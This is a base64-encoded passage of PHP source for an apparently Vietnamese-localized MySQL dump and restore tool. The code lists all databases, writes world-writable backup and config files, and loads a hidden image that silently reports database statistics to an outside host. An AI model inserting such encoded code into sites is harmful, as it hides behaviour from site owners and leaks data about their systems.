gdHBsX2woIkxpbmVzIGFkZGVkOiB7JGFmZl9yb3dzfSIsIENfUkVTVUxUKTsNCiR0aGlzLT50YWJzID0gJHRhYnM7DQokdGhpcy0+cmVjb3JkcyA9ICRhZmZfcm93czsNCiR0aGlzLT5zaXplID0gZmlsZXNpemUoUEFUSCAuICR0aGlzLT5maWxlbmFtZSk7DQokdGhpcy0+Y29tcCA9ICR0aGlzLT5TRVRbJ2NvbXBfbWV0aG9kJ10gKiAxMCArICR0aGlzLT5TRVRbJ2NvbXBfbGV2ZWwnXTsNCmVjaG8gIjxTQ1JJUFQ+ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2JhY2snKS5kaXNhYmxlZCA9IDA7PC9TQ1JJUFQ+IjsNCmlmIChHUykgZWNobyAiPFNDUklQVD5kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnR1MnKS5zcmMgPSAnaHR0cDovL3N5cGV4Lm5ldC9ncy5waHA/cj17JHRoaXMtPnRhYnN9LHskdGhpcy0+cmVjb3Jkc30seyR0aGlzLT5zaXplfSx7JHRoaXMtPmNvbXB9LDEwOCc7PC9TQ1JJUFQ+IjsNCiR0aGlzLT5mbl9jbG9zZSgkZnApOw0KfQ0KZnVuY3Rpb24gbWFpbigpew0KJHRoaXMtPmNvbXBfbGV2ZWxzID0gYXJyYXkoJzknID0+ICdMZXZlbCA5IChDYW8gbmgmIzc4NDU7dCknLCAnOCcgPT4gJ0xldmVsIDgnLCAnNycgPT4gJ0xldmVsIDcnLCAnNicgPT4gJ0xldmVsIDYnLCAnNScgPT4gJ0xldmVsIDUgKFRydW5nIGImaWdyYXZlO25oKScsICc0JyA9PiAnTGV2ZWwgNCcsICczJyA9PiAnTGV2ZWwgMycsICcyJyA9PiAnTGV2ZWwgMicsICcxJyA9PiAnTGV2ZWwgMSAoQiZpZ3JhdmU7bmggdGgmIzQzMjsmIzc5MDE7bmcpJywnMCcgPT4gJ0toJm9jaXJjO25nIHQmIzc4ODk7aSAmIzQzMjt1IGgmb2FjdXRlO2EgJyk7DQppZiAoZnVuY3Rpb25fZXhpc3RzKCJiem9wZW4iKSkgew0KJHRoaXMtPmNvbXBfbWV0aG9kc1syXSA9ICdCWmlwMic7DQp9DQppZiAoZnVuY3Rpb25fZXhpc3RzKCJnem9wZW4iKSkgew0KJHRoaXMtPmNvbXBfbWV0aG9kc1sxXSA9ICdHWmlwJzsNCn0NCiR0aGlzLT5jb21wX21ldGhvZHNbMF0gPSAnTm8gY29tcHJlc3Npb24nOw0KaWYgKGNvdW50KCR0aGlzLT5jb21wX21ldGhvZHMpID09IDEpIHsNCiR0aGlzLT5jb21wX2xldmVscyA9IGFycmF5KCcwJyA9PidObyBjb21wcmVzc2lvbicpOw0KfQ0KJGRicyA9ICR0aGlzLT5kYl9zZWxlY3QoKTsNCiR0aGlzLT52YXJzWydkYl9iYWNrdXAnXSAgICA9ICR0aGlzLT5mbl9zZWxlY3QoJGRicywgJHRoaXMtPlNFVFsnbGFzdF9kYl9iYWNrdXAnXSk7DQokdGhpcy0+dmFyc1snZGJfcmVzdG9yZSddICAgPSAkdGhpcy0+Zm5fc2VsZWN0KCRkYnMsICR0aGlzLT5TRVRbJ2xhc3RfZGJfcmVzdG9yZSddKTsNCiR0aGlzLT52YXJzWydjb21wX2xldmVscyddICA9ICR0aGlzLT5mbl9zZWxlY3QoJHRoaXMtPmNvbXBfbGV2ZWxzLCAkdGhpcy0+U0VUWydjb21wX2xldmVsJ10pOw0KJHRoaXMtPnZhcnNbJ2NvbXBfbWV0aG9kcyddID0gJHRoaXMtPmZuX3NlbGVjdCgkdGhpcy0+Y29tcF9tZXRob2RzLCAkdGhpcy0+U0VUWydjb21wX21ldGhvZCddKTsNCiR0aGlzLT52YXJzWyd0YWJsZXMnXSAgICAgICA9ICR0aGlzLT5TRVRbJ3RhYmxlcyddOw0KJHRoaXMtPnZhcnNbJ2ZpbGVzJ10gICAgICAgID0gJHRoaXMtPmZuX3NlbGVjdCgkdGhpcy0+ZmlsZV9zZWxlY3QoKSwgJycpOw0KJGJ1dHRvbnMgPSAiPElOUFVUIFRZUEU9c3VibWl0IFZBTFVFPU9raWU+PElOUFVUIFRZUEU9YnV0dG9uIFZBTFVFPSdUaG8mYWFjdXRlO3QnIG9uQ2xpY2s9XCJsb2NhdGlvbi5ocmVmID0gJyIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9yZWxvYWQnXCI+IjsNCmVjaG8gdHBsX3BhZ2UodHBsX21haW4oKSwgJGJ1dHRvbnMpOw0KfQ0KZnVuY3Rpb24gZGJfc2VsZWN0KCl7DQppZiAoREJOQU1FUyAhPSAnJykgew0KJGl0ZW1zID0gZXhwbG9kZSgnLCcsIHRyaW0oREJOQU1FUykpOw0KZm9yZWFjaCgkaXRlbXMgQVMgJGl0ZW0pew0KaWYgKG15c3FsX3NlbGVjdF9kYigkaXRlbSkpIHsNCiR0YWJsZXMgPSBteXNxbF9xdWVyeSgiU0hPVyBUQUJMRVMiKTsNCmlmICgkdGFibGVzKSB7DQokdGFicyA9IG15c3FsX251bV9yb3dzKCR0YWJsZXMpOw0KJGRic1skaXRlbV0gPSAieyRpdGVtfSAoeyR0YWJzfSkiOw0KfQ0KfQ0KfQ0KfQ0KZWxzZSB7DQokcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNIT1cgREFUQUJBU0VTIik7DQokZGJzID0gYXJyYXkoKTsNCndoaWxlKCRpdGVtID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpew0KaWYgKG15c3FsX3NlbGVjdF9kYigkaXRlbVswXSkpIHsNCiR0YWJsZXMgPSBteXNxbF9xdWVyeSgiU0hPVyBUQUJMRVMiKTsNCmlmICgkdGFibGVzKSB7DQokdGFicyA9IG15c3FsX251bV9yb3dzKCR0YWJsZXMpOw0KJGRic1skaXRlbVswXV0gPSAieyRpdGVtWzBdfSAoeyR0YWJzfSkiOw0KfQ0KfQ0KfQ0KfQ0KcmV0dXJuICRkYnM7DQp9DQpmdW5jdGlvbiBmaWxlX3NlbGVjdCgpew0KJGZpbGVzID0gYXJyYXkoJycgPT4gJyAnKTsNCmlmIChpc19kaXIoUEFUSCkgJiYgJGhhbmRsZSA9IG9wZW5kaXIoUEFUSCkpIHsNCndoaWxlIChmYWxzZSAhPT0gKCRmaWxlID0gcmVhZGRpcigkaGFuZGxlKSkpIHsNCmlmIChwcmVnX21hdGNoKCIvXi4rP1wuc3FsKFwuKGd6fGJ6MikpPyQvIiwgJGZpbGUpKSB7DQokZmlsZXNbJGZpbGVdID0gJGZpbGU7DQp9DQp9DQpjbG9zZWRpcigkaGFuZGxlKTsNCn0NCmtzb3J0KCRmaWxlcyk7DQpyZXR1cm4gJGZpbGVzOw0KfQ0KZnVuY3Rpb24gZm5fb3BlbigkbmFtZSwgJG1vZGUpew0KaWYgKCR0aGlzLT5TRVRbJ2NvbXBfbWV0aG9kJ10gPT0gMikgew0KJHRoaXMtPmZpbGVuYW1lID0gInskbmFtZX0uc3FsLmJ6MiI7DQpyZXR1cm4gYnpvcGVuKFBBVEggLiAkdGhpcy0+ZmlsZW5hbWUsICJ7JG1vZGV9YnskdGhpcy0+U0VUWydjb21wX2xldmVsJ119Iik7DQp9DQplbHNlaWYgKCR0aGlzLT5TRVRbJ2NvbXBfbWV0aG9kJ10gPT0gMSkgew0KJHRoaXMtPmZpbGVuYW1lID0gInskbmFtZX0uc3FsLmd6IjsNCnJldHVybiBnem9wZW4oUEFUSCAuICR0aGlzLT5maWxlbmFtZSwgInskbW9kZX1ieyR0aGlzLT5TRVRbJ2NvbXBfbGV2ZWwnXX0iKTsNCn0NCmVsc2V7DQokdGhpcy0+ZmlsZW5hbWUgPSAieyRuYW1lfS5zcWwiOw0KcmV0dXJuIGZvcGVuKFBBVEggLiAkdGhpcy0+ZmlsZW5hbWUsICJ7JG1vZGV9YiIpOw0KfQ0KfQ0KZnVuY3Rpb24gZm5fd3JpdGUoJGZwLCAkc3RyKXsNCmlmICgkdGhpcy0+U0VUWydjb21wX21ldGhvZCddID09IDIpIHsNCmJ6d3JpdGUoJGZwLCAkc3RyKTsNCn0NCmVsc2VpZiAoJHRoaXMtPlNFVFsnY29tcF9tZXRob2QnXSA9PSAxKSB7DQpnendyaXRlKCRmcCwgJHN0cik7DQp9DQplbHNlew0KZndyaXRlKCRmcCwgJHN0cik7DQp9DQp9DQpmdW5jdGlvbiBmbl9yZWFkKCRmcCl7DQppZiAoJHRoaXMtPlNFVFsnY29tcF9tZXRob2QnXSA9PSAyKSB7DQpyZXR1cm4gYnpyZWFkKCRmcCwgNDA5Nik7DQp9DQplbHNlaWYgKCR0aGlzLT5TRVRbJ2NvbXBfbWV0aG9kJ10gPT0gMSkgew0KcmV0dXJuIGd6cmVhZCgkZnAsIDQwOTYpOw0KfQ0KZWxzZXsNCnJldHVybiBmcmVhZCgkZnAsIDQwOTYpOw0KfQ0KfQ0KZnVuY3Rpb24gZm5fcmVhZF9zdHIoJGZwKXsNCiRzdHJpbmcgPSAnJzsNCiR0aGlzLT5maWxlX2NhY2hlID0gbHRyaW0oJHRoaXMtPmZpbGVfY2FjaGUpOw0KJHBvcyA9IHN0cnBvcygkdGhpcy0+ZmlsZV9jYWNoZSwgIlxuIiwgMCk7DQppZiAoJHBvcyA8IDEpIHsNCndoaWxlICghJHN0cmluZyAmJiAoJHN0ciA9ICR0aGlzLT5mbl9yZWFkKCRmcCkpKXsNCiRwb3MgPSBzdHJwb3MoJHN0ciwgIlxuIiwgMCk7DQppZiAoJHBvcyA9PT0gZmFsc2UpIHsNCiR0aGlzLT5maWxlX2NhY2hlIC49ICRzdHI7DQp9DQplbHNlew0KJHN0cmluZyA9ICR0aGlzLT5maWxlX2NhY2hlIC4gc3Vic3RyKCRzdHIsIDAsICRwb3MpOw0KJHRoaXMtPmZpbGVfY2FjaGUgPSBzdWJzdHIoJHN0ciwgJHBvcyArIDEpOw0KfQ0KfQ0KaWYgKCEkc3RyKSB7DQppZiAoJHRoaXMtPmZpbGVfY2FjaGUpIHsNCiRzdHJpbmcgPSAkdGhpcy0+ZmlsZV9jYWNoZTsNCiR0aGlzLT5maWxlX2NhY2hlID0gJyc7DQpyZXR1cm4gdHJpbSgkc3RyaW5nKTsNCn0NCnJldHVybiBmYWxzZTsNCn0NCn0NCmVsc2Ugew0KJHN0cmluZyA9IHN1YnN0cigkdGhpcy0+ZmlsZV9jYWNoZSwgMCwgJHBvcyk7DQokdGhpcy0+ZmlsZV9jYWNoZSA9IHN1YnN0cigkdGhpcy0+ZmlsZV9jYWNoZSwgJHBvcyArIDEpOw0KfQ0KcmV0dXJuIHRyaW0oJHN0cmluZyk7DQp9DQpmdW5jdGlvbiBmbl9jbG9zZSgkZnApew0KaWYgKCR0aGlzLT5TRVRbJ2NvbXBfbWV0aG9kJ10gPT0gMikgew0KYnpjbG9zZSgkZnApOw0KfQ0KZWxzZWlmICgkdGhpcy0+U0VUWydjb21wX21ldGhvZCddID09IDEpIHsNCmd6Y2xvc2UoJGZwKTsNCn0NCmVsc2V7DQpmY2xvc2UoJGZwKTsNCn0NCkBjaG1vZChQQVRIIC4gJHRoaXMtPmZpbGVuYW1lLCAwNjY2KTsNCiR0aGlzLT5mbl9pbmRleCgpOw0KfQ0KZnVuY3Rpb24gZm5fc2VsZWN0KCRpdGVtcywgJHNlbGVjdGVkKXsNCiRzZWxlY3QgPSAnJzsNCmZvcmVhY2goJGl0ZW1zIEFTICRrZXkgPT4gJHZhbHVlKXsNCiRzZWxlY3QgLj0gJGtleSA9PSAkc2VsZWN0ZWQgPyAiPE9QVElPTiBWQUxVRT0neyRrZXl9JyBTRUxFQ1RFRD57JHZhbHVlfSIgOiAiPE9QVElPTiBWQUxVRT0neyRrZXl9Jz57JHZhbHVlfSI7DQp9DQpyZXR1cm4gJHNlbGVjdDsNCn0NCmZ1bmN0aW9uIGZuX3NhdmUoKXsNCmlmIChTQykgew0KJG5lID0gIWZpbGVfZXhpc3RzKFBBVEggLiAiZHVtcGVyLmNmZy5waHAiKTsNCiRmcCA9IGZvcGVuKFBBVEggLiAiZHVtcGVyLmNmZy5waHAiLCAid2IiKTsNCmZ3cml0ZSgkZnAsICI8P3BocFxuXCR0aGlzLT5TRVQgPSAiIC4gZm5fYXJyMnN0cigkdGhpcy0+U0VUKSAuICJcbj8+Iik7DQpmY2xvc2UoJGZwKTsNCmlmICgkbmUpIEBjaG1vZChQQVRIIC4gImR1bXBlci5jZmcucGhwIiwgMDY2Nik7DQokdGhpcy0+Zm5faW5kZXgoKTsNCn0NCn0NCmZ1bmN0aW9uIGZuX2luZGV4KCl7DQppZiAoIWZpbGVfZXhpc3RzKFBBVEggLiAnaW5kZXguaHRtbCcpKSB7DQokZmggPSBmb3BlbihQQVRIIC4gJ2luZGV4Lmh0bWwnLCAnd2InKTsNCmZ3cml0ZSgkZmgsIHRwbF9iYWNrdXBfaW5kZXgoKSk7DQpmY2xvc2UoJGZoKTsNCkBjaG1vZChQQVRIIC4gJ2luZGV4Lmh0bWwnLCAwNjY2KTsNCn0NCn0NCn0NCmZ1bmN0aW9uIGZuX2ludCgkbnVtKXsNCnJldHVybiBudW1iZXJfZm9ybWF0KCRudW0sIDAsICcsJywgJyAnKTsNCn0NCmZ1bmN0aW9uIGZuX2FycjJzdHIoJGFycmF5KSB7DQokc3RyID0gImFycmF5KFxuIjsNCmZvcmVhY2ggKCRhcnJheSBhcyAka2V5ID0+ICR2YWx1ZSkgew0KaWYgKGlzX2FycmF5KCR2YWx1ZSkpIHsNCiRzdHIgLj0gIicka2V5JyA9PiAiIC4gZm5fYXJyMnN0cigkdmFsdWUpIC4gIixcblxuIjsNCn0NCmVsc2Ugew0KJHN0ciAuPSAiJyRrZXknID0+ICciIC4gc3RyX3JlcGxhY2UoIiciLCAiXCciLCAkdmFsdWUpIC4gIicsXG4iOw0KfQ0KfQ0KcmV0dXJuICRzdHIgLiAiKSI7DQp9DQpmdW5jdGlvbiB0cGxfcGFnZSgkY29udGVudCA9ICcnLCAkYnV0dG9ucyA9ICcnKXsNCnJldHVybiA8PDxIVE1MDQo8IURPQ1RZUEUgSFRNTCBQVUJMSUMgIi0vL1czQy8vRFREIEhUTUwgNC4wMSBUcmFuc2l0aW9uYWwvL0VOIj4NCjxIVE1MPg0KPEhFQUQ+DQo8TUVUQSBIVFRQLUVRVUlWPUNvbnRlbnQtVHlwZSBDT05URU5UPSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9d2luZG93cy0xMjUxIj4NCjxTVFlMRSBUWVBFPSJURVhUL0NTUyI+DQo8IS0tDQpib2R5ew0Kb3ZlcmZsb3c6IGF1dG87DQpjb2xvcjogIzRENEQ0RDsNCnNjcm9sbGJhci1hcnJvdy1jb2xvcjogI0M2QzZDNjsNCnNjcm9sbGJhci1mYWNlLWNvbG9yOiAjRkZGOw0Kc2Nyb2xsYmFyLXRyYWNrLWNvbG9yOiAjRkZGOw0Kc2Nyb2xsYmFyLWhpZ2hsaWdodC1jb2xvcjogI0M2QzZDNjsNCnNjcm9sbGJhci1zaGFkb3ctY29sb3I6ICNDNkM2QzY7DQpzY3JvbGxiYXItZGFya3NoYWRvdy1jb2xvcjogI0ZGRjsNCnNjcm9sbGJhci0zZGxpZ2h0LWNvbG9yOiAjRkZGOw0KQ3Vyc29yOiBkZWZhdWx0Ow0KLypiYWNrZ3JvdW5kOiAjNTQ1NTRGOyovDQpiYWNrZ3JvdW5kLWltYWdlOiB1cmwoImltZy9iYWNrZ3JvdW5kLWNlbnRlci5naWYiKTsNCmJhY2tncm91bmQtcG9zaXRpb246Y2VudGVyOw0KYmFja2dyb3VuZC1yZXBlYXQ6cmVwZWF0LXk7DQptYXJnaW46IDA7DQpmb250LWZhbWlseTogdGFob21hLCB2ZXJkYW5hLCBhcmlhbCwgc2Fucy1zZXJpZjsNCmZvbnQtc2l6ZTogMTFweDsNCn0NCnRkIHsNCmZvbnQ6IDExcHggdGFob21hLCB2ZXJkYW5hLCBhcmlhbDsNCmN1cnNvcjogZGVmYXVsdDsNCn0NCmlucHV0LCBzZWxlY3QsIGRpdiB7DQpmb250OiAxMXB4IHRhaG9tYSwgdmVyZGFuYSwgYXJpYWw7DQp9DQppbnB1dC50ZXh0LCBzZWxlY3Qgew0Kd2lkdGg6IDEwMCU7DQp9DQpmaWVsZHNldCB7DQptYXJnaW4tYm90dG9tOiAyMHB4Ow0KfQ0KLS0+DQo8L1NUWUxFPg0KPC9IRUFEPg0KPEJPRFkgQkdDT0xPUj0jMzMzMzMzIFRFWFQ9IzAwMDAwMD4NCjxUQUJMRSBXSURUSD0xMDAlIEhFSUdIVD0xMDAlIEJPUkRFUj0wIENFTExTUEFDSU5HPTAgQ0VMTFBBRERJTkc9MCBBTElHTj1DRU5URVI+DQo8VFI+DQo8VEQgSEVJR0hUPTYwJSBBTElHTj1DRU5URVIgVkFMSUdOPU1JRERMRT4NCjxUQUJMRSBXSURUSD0zNjAgQk9SREVSPTAgQ0VMTFNQQUNJTkc9MCBDRUxMUEFERElORz0wPg0KPFRSPg0KPFREIFZBTElHTj1UT1AgU1RZTEU9ImJvcmRlcjogNnB4IHNvbGlkICNGRkZGMDA7Ij4NCjxUQUJMRSBXSURUSD0xMDAlIEhFSUdIVD0xMDAlIEJPUkRFUj0wIENFTExTUEFDSU5HPTEgQ0VMTFBBRERJTkc9MD4NCjxUUj4NCjxURCBJRD1IZWFkZXIgSEVJR0hUPTIwIEJHQ09MT1I9IzdBOTZERiBTVFlMRT0iZm9udC1zaXplOiAxMnB4OyBjb2xvcjogd2hpdGU7IGZvbnQtZmFtaWx5OiB0YWhvbWEsIGFyaWFsOw0KcGFkZGluZy1sZWZ0OiA1cHg7IEZJTFRFUjogcHJvZ2lkOkRYSW1hZ2VUcmFuc2Zvcm0uTWljcm9zb2Z0LkdyYWRpZW50KGdyYWRpZW50VHlwZT0xLHN0YXJ0Q29sb3JTdHI9IzMzMzMzMyxlbmRDb2xvclN0cj0jRkJGQkZEKSINClRJVExFPScmY29weTsgMjAwNyBieSBUYW5QaHUuTmV0Jz4NCjxjZW50ZXI+PEI+PEEgSFJFRj1odHRwOi8vVGFuUGh1Lk5ldCBTVFlMRT0iY29sb3I6IHdoaXRlOyB0ZXh0LWRlY29yYXRpb246IG5vbmU7Ij4mIzI3MjsmIzI1OTtuZyBuaCYjNzg1MztwIHBocE15YWRtaW48L0E+PC9CPjxJTUcgSUQ9R1MgV0lEVEg9MSBIRUlHSFQ9MSBTVFlMRT0idmlzaWJpbGl0eTogaGlkZGVuOyI+IDxiPjxmb250IGNvbG9yPScjRkZGRkZGJz4gfCAgTG9jYWxob3N0OjMzMDYgPC9mb250PjwvYj48L1REPjwvY2VudGVyPg0KPC9UUj4NCjxUUj4NCjxGT1JNIE5BTUU9c2tiIE1FVEhPRD1QT1NUIEFDVElPTj0ieyRfU0VSVkVSWydQSFBfU0VMRiddfSI+DQo8VEQgVkFMSUdOPVRPUCBCR0NPTE9SPSNGNEYzRUUgU1RZTEU9IkZJTFRFUjogcHJvZ2lkOkRYSW1hZ2VUcmFuc2Zvcm0uTWljcm9zb2Z0LkdyYWRpZW50KGdyYWRpZW50VHlwZT0wLHN0YXJ0Q29sb3JTdHI9I0ZDRkJGRSxlbmRDb2xvclN0cj0jRjRGM0VFKTsgcGFkZGluZzogOHB4IDhweDsiPg0KeyRjb250ZW50fQ0KPFRBQkxFIFdJRFRIPTEwMCUgQk9SREVSPTAgQ0VMTFNQQUNJTkc9MCBDRUxMUEFERElORz0yPg0KPFRSPg0KPFREIFNUWUxFPSdjb2xvcjogI0NFQ0VDRScgSUQ9dGltZXI+PC9URD4NCjxURCBBTElHTj1SSUdIVD57JGJ1dHRvbnN9PC9URD4NCjwvVFI+DQo8L1RBQkxFPjwvVEQ+DQo8L0ZPUk0+DQo8L1RSPg0KPC9UQUJMRT48L1REPg0KPC9UUj4NCjwvVEFCTEU+PC9URD4NCjwvVFI+DQo8L1RBQkxFPg0KPC9URD4NCjwvVFI+DQo8L1RBQkxFPg0KPC9CT0RZPg0KPC9IVE1MPg0KSFRNTDsNCn0NCmZ1bmN0aW9uIHRwbF9tYWluKCl7DQpnbG9iYWwgJFNLOw0KcmV0dXJuIDw8PEhUTUwNCjxGSUVMRFNFVCBvbkNsaWNrPSJkb2N1bWVudC5za2IuYWN0aW9uWzBdLmNoZWNrZWQgPSAxOyI+DQo8TEVHRU5EPg0KPElOUFVUIFRZUEU9cmFkaW8gTkFNRT1hY3Rpb24gVkFMVUU9YmFja3VwPg0KTCYjNDMyO3UgdHImIzc5MTk7IC8gQ2gmIzc4ODU7biBjJiM0MTc7IHMmIzc5MDM7IGQmIzc5MTk7IGxpJiM3ODc5O3UgbXUmIzc4ODk7biBzYW8gbCYjNDMyO3UgJm5ic3A7PC9MRUdFTkQ+DQo8VEFCTEUgV0lEVEg9MTAwJSBCT1JERVI9MCBDRUxMU1BBQ0lORz0wIENFTExQQURESU5HPTI+DQo8VFI+DQo8VEQgV0lEVEg9MzUlPkNoJiM3ODg1O24gYyYjNDE3OyBzJiM3OTAzOyBkJiM3OTE5OyBsaSYjNzg3OTt1OjwvVEQ+DQo8VEQgV0lEVEg9NjUlPjxTRUxFQ1QgTkFNRT1kYl9iYWNrdXA+DQp7JFNLLT52YXJzWydkYl9iYWNrdXAnXX0NCjwvU0VMRUNUPjwvVEQ+DQo8L1RSPg0KPFRSPg0KPFREPkwmIzc4ODU7YyB0YWJsZXMgOjwvVEQ+DQo8VEQ+PElOUFVUIE5BTUU9dGFibGVzIFRZUEU9dGV4dCBDTEFTUz10ZXh0IFZBTFVFPSd7JFNLLT52YXJzWyd0YWJsZXMnXX0nPjwvVEQ+DQo8L1RSPg0KPFRSPg0KPFREPlQmZWNpcmM7biAmIzI3Mzt1Jm9jaXJjO2kgbXUmIzc4ODk7biBsJiM0MzI7dSB0ciYjNzkxOTs6PC9URD4NCjxURD48U0VMRUNUIE5BTUU9Y29tcF9tZXRob2Q+DQp7JFNLLT52YXJzWydjb21wX21ldGhvZHMnXX0NCjwvU0VMRUNUPjwvVEQ+DQo8L1RSPg0KPFRSPg0KPFREPlQmIzc4ODk7aSAmIzQzMjt1IGgmb2FjdXRlO2EgYyYjNDE3OyBzJiM3OTAzOyBkJiM3OTE5OyBsaSYjNzg3OTt1IDo8L1REPg0KPFREPjxTRUxFQ1QgTkFNRT1jb21wX2xldmVsPg0KeyRTSy0+dmFyc1snY29tcF9sZXZlbHMnXX0NCjwvU0VMRUNUPjwvVEQ+DQo8L1RSPg0KPC9UQUJMRT4NCjwvRklFTERTRVQ+DQo8RklFTERTRVQgb25DbGljaz0iZG9jdW1lbnQuc2tiLmFjdGlvblsxXS5jaGVja2VkID0gMTsiPg0KPExFR0VORD4NCjxJTlBVVCBUWVBFPXJhZGlvIE5BTUU9YWN0aW9uIFZBTFVFPXJlc3RvcmU+DQpQaCYjNzkwOTtjIGgmIzc4OTE7aSAvIENoJiM3ODg1O24gYyYjNDE3OyBzJiM3OTAzOyBkJiM3OTE5OyBsaSYjNzg3OTt1IG11JiM3ODg5O24gcGgmIzc5MDk7YyBoJiM3ODkxO2kmbmJzcDs8L0xFR0VORD4NCjxUQUJMRSBXSURUSD0xMDAlIEJPUkRFUj0wIENFTExTUEFDSU5HPTAgQ0VMTFBBRERJTkc9Mj4NCjxUUj4NCjxURD5DaCYjNzg4NTtuIGMmIzQxNzsgcyYjNzkwMzsgZCYjNzkxOTsgbGkmIzc4Nzk7dTo8L1REPg0KPFREPjxTRUxFQ1QgTkFNRT1kYl9yZXN0b3JlPg0KeyRTSy0+dmFyc1snZGJfcmVzdG9yZSddfQ0KPC9TRUxFQ1Q+PC9URD4NCjwvVFI+DQo8VFI+DQo8VEQgV0lEVEg9MzUlPkNoJiM3ODg1O24gdCZlY2lyYztuIHQmIzc4NTM7cCB0aW4gOjwvVEQ+DQo8VEQgV0lEVEg9NjUlPjxTRUxFQ1QgTkFNRT1maWxlPg0KeyRTSy0+dmFyc1snZmlsZXMnXX0NCjwvU0VMRUNUPjwvVEQ+DQo8L1RSPg0KPC9UQUJMRT4NCjwvRklFTERTRVQ+DQo8L1NQQU4+PGNlbnRlcj4mY29weTsgMjAwOCBieSBUYW5QaHUuTmV0IHwgWWFob29JRDogPGI+S2lVY1RpbmhZZXVfMTgxMTwvYj48L2NlbnRlcj4NCjxTQ1JJUFQ+DQpkb2N1bWVudC5za2IuYWN0aW9uW3skU0stPlNFVFsnbGFzdF9hY3Rpb24nXX1dLmNoZWNrZWQgPSAxOw0KPC9TQ1JJUFQ+DQpIVE1MOw0KfQ0KZnVuY3Rpb24gdHBsX3Byb2Nlc3MoJHRpdGxlKXsNCnJldHVybiA8PDxIVE1MDQo8RklFTERTRVQ+DQo8TEVHRU5EPnskdGl0bGV9Jm5ic3A7PC9MRUdFTkQ+DQo8VEFCTEUgV0lEVEg9MTAwJSBCT1JERVI9MCBDRUxMU1BBQ0lORz0wIENFTExQQURESU5HPTI+DQo8VFI+PFREIENPTFNQQU49Mj48RElWIElEPWxvZ2FyZWEgU1RZTEU9IndpZHRoOiAxMDAlOyBoZWlnaHQ6IDE0MHB4OyBib3JkZXI6IDFweCBzb2xpZCAjN0Y5REI5OyBwYWRkaW5nOiAzcHg7IG92ZXJmbG93OiBhdXRvOyI+PC9ESVY+PC9URD48L1RSPg0KPFRSPjxURCBXSURUSD0zMSU+VGFibGUgUHJvZ3Jlc3MgOjwvVEQ+PFREIFdJRFRIPTY5JT48VEFCTEUgV0lEVEg9MTAwJSBCT1JERVI9MSBDRUxMUEFERElORz0wIENFTExTUEFDSU5HPTA+DQo8VFI+PFREIEJHQ09MT1I9I0ZGRkZGRj48VEFCTEUgV0lEVEg9MSBCT1JERVI9MCBDRUxMUEFERElORz0wIENFTExTUEFDSU5HPTAgQkdDT0xPUj0jNTU1NUNDIElEPXN0X3RhYg0KU1RZTEU9IkZJTFRFUjogcHJvZ2lkOkRYSW1hZ2VUcmFuc2Zvcm0uTWljcm9zb2Z0LkdyYWRpZW50KGdyYWRpZW50VHlwZT0wLHN0YXJ0Q29sb3JTdHI9I0NDQ0NGRixlbmRDb2xvclN0cj0jNTU1NUNDKTsNCmJvcmRlci1yaWdodDogMXB4IHNvbGlkICNBQUFBQUEiPjxUUj48VEQgSEVJR0hUPTEyPjwvVEQ+PC9UUj48L1RBQkxFPjwvVEQ+PC9UUj48L1RBQkxFPjwvVEQ+PC9UUj4NCjxUUj48VEQ+T3ZlcmFsbCA6PC9URD48VEQ+PFRBQkxFIFdJRFRIPTEwMCUgQk9SREVSPTEgQ0VMTFNQQUNJTkc9MCBDRUxMUEFERElORz0wPg0KPFRSPjxURCBCR0NPTE9SPSNGRkZGRkY+PFRBQkxFIFdJRFRIPTEgQk9SREVSPTAgQ0VMTFBBRERJTkc9MCBDRUxMU1BBQ0lORz0wIEJHQ09MT1I9IzAwQUEwMCBJRD1zb190YWINClNUWUxFPSJGSUxURVI6IHByb2dpZDpEWEltYWdlVHJhbnNmb3JtLk1pY3Jvc29mdC5HcmFkaWVudChncmFkaWVudFR5cGU9MCxzdGFydENvbG9yU3RyPSNDQ0ZGQ0MsZW5kQ29sb3JTdHI9IzAwQUEwMCk7DQpib3JkZXItcmlnaHQ6IDFweCBzb2xpZCAjQUFBQUFBIj48VFI+PFREIEhFSUdIVD0xMj48L1REPjwvVFI+PC9UQUJMRT48L1REPg0KPC9UUj48L1RBQkxFPjwvVEQ+PC9UUj48L1RBQkxFPg0KPC9GSUVMRFNFVD48Y2VudGVyPiZjb3B5OyAyMDA4IGJ5IFRhblBodS5OZXQgfCBZYWhvb0lEOiA8Yj5LaVVjVGluaFlldV8xODExPC9iPjwvY2VudGVyPg0KPFNDUklQVD4NCnZhciBXaWR0aExvY2tlZCA9IGZhbHNlOw0KZnVuY3Rpb24gcyhzdCwgc28pew0KZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3N0X3RhYicpLndpZHRoID0gc3QgPyBzdCArICclJyA6ICcxJzsNCmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzb190YWInKS53aWR0aCA9IHNvID8gc28gKyAnJScgOiAnMSc7DQp9DQpmdW5jdGlvbiBsKHN0ciwgY29sb3Ipew0Kc3dpdGNoKGNvbG9yKXsNCmNhc2UgMjogY29sb3IgPSAnbmF2eSc7IGJyZWFrOw0KY2FzZSAzOiBjb2xvciA9ICdyZWQnOyBicmVhazsNCmNhc2UgNDogY29sb3IgPSAnbWFyb29uJzsgYnJlYWs7DQpkZWZhdWx0OiBjb2xvciA9ICdibGFjayc7DQp9DQp3aXRoKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdsb2dhcmVhJykpew0KaWYgKCFXaWR0aExvY2tlZCl7DQpzdHlsZS53aWR0aCA9IGNsaWVudFdpZHRoOw0KV2lkdGhMb2NrZWQgPSB0cnVlOw0KfQ0Kc3RyID0gJzxGT05UIENPTE9SPScgKyBjb2xvciArICc+JyArIHN0ciArICc8L0ZPTlQ+JzsNCmlubmVySFRNTCArPSBpbm5lckhUTUwgPyAiPEJSPlxcbiIgKyBzdHIgOiBzdHI7DQpzY3JvbGxUb3AgKz0gMTQ7DQp9DQp9DQo8L1NDUklQVD4NCkhUTUw7DQp9DQpmdW5jdGlvbiB0cGxfYXV0aCgkZXJyb3Ipew0KcmV0dXJuIDw8PEhUTUwNCjxTUEFOIElEPWVycm9yPg0KPEZJRUxEU0VUPg0KPExFR0VORD5FcnJvcjwvTEVHRU5EPg0KPFRBQkxFIFdJRFRIPTEwMCUgQk9SREVSPTAgQ0VMTFNQQUNJTkc9MCBDRUxMUEFERElORz0